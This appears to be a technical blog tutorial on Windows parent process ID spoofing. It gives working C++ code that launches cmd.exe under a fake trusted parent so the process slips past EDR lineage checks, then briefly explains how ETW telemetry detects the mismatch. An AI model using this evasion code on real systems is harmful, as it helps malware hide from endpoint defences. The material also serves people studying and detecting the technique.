PID spoofing

PID spoofing is a technique where an attacker manipulates or fakes a process ID (PID) to hiding malicious activity on a system.

Malware

Windows

Programming

Code

What is Parent Process ID (PPID) Spoofing?

EDR (Endpoint Detection and Response) systems often track parent-child relationships between processes on Windows. For example, If Microsoft Word (winword.exe) spawns rundll32.exe, the EDR may flag this as suspicious because Word normally doesn’t create that child process. Attackers can try to hide malicious activity by faking or spoofing the parent process of their malicious process.

What is the Goal?

The main goal of an attacker performing PPID spoofing is to evade detection by security tools. By masking the true parent process, the malicious process blends in with legitimate activity, avoids alerts from EDR systems, and can execute payloads stealthily without raising suspicion.

How spoofing Works?

The primary technique involves manipulating the child process’s attributes during creation, specifically using the CreateProcess API in Windows.This API allows specifying a parent process ID (PPID) through the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.By setting this attribute, an attacker can assign a malicious process to appear as a child of a trusted parent process, such as explorer.exe.This manipulation enables the malicious process to inherit attributes like the current working directory and environment variables from the spoofed parent, potentially evading detection mechanisms that monitor parent-child process relationships.This technique was popularized by Didier Stevens in 2009, who demonstrated its effectiveness in bypassing security tools that rely on process lineage for detection.

Code

you can get the code here.We start by opening the target process that we want to be the parent of our process.

PROCESS_CREATE_PROCESS → needed to use hParent as the parent in UpdateProcThreadAttribute.
PROCESS_QUERY_INFORMATION → allows querying properties of the target process, useful for validation. this is optional.

spoofing.cpp

HANDLE hParent = OpenProcess(
        // We request specific permissions (access rights).
        PROCESS_CREATE_PROCESS | PROCESS_QUERY_INFORMATION, // PROCESS_CREATE_PROCESS is required to use this handle as a parent.
        FALSE,                                              // bInheritHandle: FALSE means this handle won't be inherited by child processes.
        targetPID                                           // The PID of the process we want to open.
    );
    // If OpenProcess fails, it returns NULL. We must check for this.
    if (hParent == NULL)
    {
        // GetLastError() provides the specific error code for why the function failed.
        wcout << L"[-] Failed to open target parent process. Error: " << GetLastError() << endl;
        return 1; // Exit with an error code.
    }

second step,prepares to create a new process while spoofing its parent process. It defines STARTUPINFOEXW siex to hold extended startup info and PROCESS_INFORMATION pi to receive the new process’s details like PID and handles.

It then queries Windows for the size needed to store one attribute (the parent process) using InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize), and allocates memory with HeapAlloc.

Finally, the attribute list is initialized with InitializeProcThreadAttributeList, making it ready to hold the parent process attribute. This allows the new process to appear as a child of a legitimate process, which is the core of PPID spoofing.

spoofing.cpp

    STARTUPINFOEXW siex = {sizeof(STARTUPINFOEXW)};
    // PROCESS_INFORMATION will be filled by CreateProcessW with info about the new process (like its PID and handles).
    PROCESS_INFORMATION pi = {0};

    // --- Step 3: Initialize the process attribute list ---
    // This is the core of the technique. We need to create a list of special attributes to pass to the new process.
    // The only attribute we will use is the one that specifies a parent process.

    // First, we must query the system for the size needed to hold our attribute list.
    SIZE_T attrListSize = 0;
    InitializeProcThreadAttributeList(
        NULL,         // Pass NULL to query for the required size.
        1,            // We plan to store exactly one attribute (the parent process).
        0,            // Reserved, must be 0.
        &attrListSize // The function will write the required buffer size here.
    );

    // Now, allocate memory of that size from the heap.
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), // Use the default heap for this process.
        HEAP_ZERO_MEMORY, // A flag that initializes the allocated memory to all zeros.
        attrListSize      // The size we determined in the previous step.
    );
    // Check if the memory allocation was successful.
    if (siex.lpAttributeList == NULL)
    {
        wcout << L"[-] Failed to allocate memory for attribute list. Error: " << GetLastError() << endl;
        CloseHandle(hParent); // Clean up the handle we opened earlier.
        return 1;
    }

    // With the memory allocated, we can now properly initialize it as an attribute list.
    if (!InitializeProcThreadAttributeList(
            siex.lpAttributeList, // Pointer to the allocated memory block.
            1,                    // The number of attributes we will store.
            0,                    // Reserved, must be 0.
            &attrListSize         // The size of the allocated block.
            ))
    {
        wcout << L"[-] Failed to initialize attribute list. Error: " << GetLastError() << endl;
        HeapFree(GetProcessHeap(), 0, siex.lpAttributeList); // Free the allocated memory.
        CloseHandle(hParent);                                // Clean up.
        return 1;
    }

sets the parent process attribute for the new process. UpdateProcThreadAttribute takes the initialized attribute list and assigns hParent as the parent process using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. If this fails, it cleans up the attribute list, frees the allocated memory, closes the parent handle, and exits. On success, it confirms that the parent process attribute is set.

Next, the code creates the child process (cmd.exe) using CreateProcessW with the EXTENDED_STARTUPINFO_PRESENT flag to apply the attribute list. CREATE_NEW_CONSOLE gives it a separate console. All standard options like security attributes, environment, and current directory are left default or inherited. If creation fails, the code performs full cleanup of handles and memory.

spoofing.cpp

 if (!UpdateProcThreadAttribute(
            siex.lpAttributeList,                 // The initialized attribute list.
            0,                                    // Flags, must be 0.
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // The key for the attribute we want to set. This tells Windows we are specifying a parent.
            &hParent,                             // A pointer to the value of the attribute. In this case, a pointer to the handle.
            sizeof(HANDLE),                       // The size of the value being passed.
            NULL, NULL))                          // Reserved for previous value, not needed here.
    {
        wcout << L"[-] Failed to update attribute list with parent process. Error: " << GetLastError() << endl;
        DeleteProcThreadAttributeList(siex.lpAttributeList); // This function cleans up the attribute list's internal data.
        HeapFree(GetProcessHeap(), 0, siex.lpAttributeList); // Free the memory block itself.
        CloseHandle(hParent);                                // Clean up.
        return 1;
    }
    wcout << L"[+] Successfully set the parent process attribute." << endl;

    // --- Step 5: Create the child process with the spoofed parent ---
    // Now we call CreateProcessW, but with special flags to use our attribute list.
    if (
        !CreateProcessW(
            L"C:\\Windows\\System32\\cmd.exe",             // Path to the executable to launch. Must be a wide-character string.
            NULL,                                              // Command line arguments for the new process (none in this case).
            NULL,                                              // Process security attributes (default).
            NULL,                                              // Thread security attributes (default).
            FALSE,                                             // bInheritHandles: If TRUE, the new process would inherit handles from this one. We set to FALSE.
            EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // CRITICAL FLAGS:
                                                               // EXTENDED_STARTUPINFO_PRESENT tells CreateProcess to use the `siex` structure instead of a simple STARTUPINFO.
                                                               // CREATE_NEW_CONSOLE gives the new process its own console window.
            NULL,                                              // Environment block (NULL means inherit from this process).
            NULL,                                              // Current directory (NULL means inherit).
            &siex.StartupInfo,                                 // A pointer to our STARTUPINFOEX structure. This is how the attribute list is passed.
            &pi                                                // A pointer to a PROCESS_INFORMATION structure that will receive the new process's info.
            ))
    {
        wcout << L"[-] Failed to create process. Error: " << GetLastError() << endl;
        // Perform full cleanup on failure.
        DeleteProcThreadAttributeList(siex.lpAttributeList);
        HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
        CloseHandle(hParent);
        return 1;
    }

Let's test the code

In this test, we are creating a cmd.exe process and spoofing its parent to be an unusual process, like Discord. Normally, Discord would never launch cmd.exe, so this is only for demonstration purposes.

After running the code, you can observe that cmd.exe now appears as a child of Discord in Task Manager or other process viewers. While the parent looks legitimate, the actual creator is the malware process (or test program) that executed the CreateProcess call.

Why This Evades Detection

EDRs typically look for abnormal parent-child relationships.
If the malicious process appears to have a trusted parent, the EDR may ignore it.
This is stealthy because Windows itself allows arbitrary parent assignment in the child’s attribute list.

How to detect using ETW

let's say the Malware process PID is 3000, and our malware called CreateProcess API to launch calc.exe.Malware uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to make calc.exe’s parent PID look like it came from Explorer and let's say the PID for Explorer is 1500.

ETW will log:
- Process ID: 5000 (calc.exe)
- Parent PID: 1500 (Explorer.exe — spoofed)
- Execution PID: 3000 (Malware.exe — actual process that executed it)

By comparing the execution PID with the parent PID, security tools can detect inconsistencies: the process claiming to be the parent (Explorer, 1500) did not actually launch the child; instead, the malware process (3000) did.

This mismatch is a strong indicator of PPID spoofing and can trigger alerts in EDR or custom monitoring solutions.

Published Aug 22, 2025